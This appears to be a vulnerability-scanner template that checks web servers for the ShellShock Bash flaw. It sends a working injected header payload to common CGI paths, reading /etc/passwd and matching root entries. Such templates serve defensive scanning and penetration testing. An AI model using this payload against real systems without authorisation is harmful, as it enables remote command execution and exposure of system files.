ShellShock - Remote Code Execution

id: CVE-2014-6271

info:
  name: ShellShock - Remote Code Execution
  author: pentest_swissky,0xelkomy
  severity: critical
  description: GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock.
  impact: |
    Remote code execution can lead to unauthorized access, data theft, and system compromise.
  remediation: |
    Apply the necessary patches and updates provided by the vendor to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-6271
    - https://nvd.nist.gov/vuln/detail/CVE-2014-7169
    - http://www.kb.cert.org/vuls/id/252743
    - http://www.us-cert.gov/ncas/alerts/TA14-268A
    - http://advisories.mageia.org/MGASA-2014-0388.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-6271
    cwe-id: CWE-78
    epss-score: 0.99999
    epss-percentile: 0.99992
    cpe: cpe:2.3:a:gnu:bash:1.14.0:*:*:*:*:*:*:*
  metadata:
    max-request: 8
    vendor: gnu
    product: bash
  tags: cve2014,cve,rce,shellshock,kev,gnu,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - ""
        - "/cgi-bin/status"
        - "/cgi-bin/stats"
        - "/cgi-bin/test"
        - "/cgi-bin/status/status.cgi"
        - "/test.cgi"
        - "/debug.cgi"
        - "/cgi-bin/test-cgi"
        - "/cgi-bin/test.cgi"

    stop-at-first-match: true

    headers:
      Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
      Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
      Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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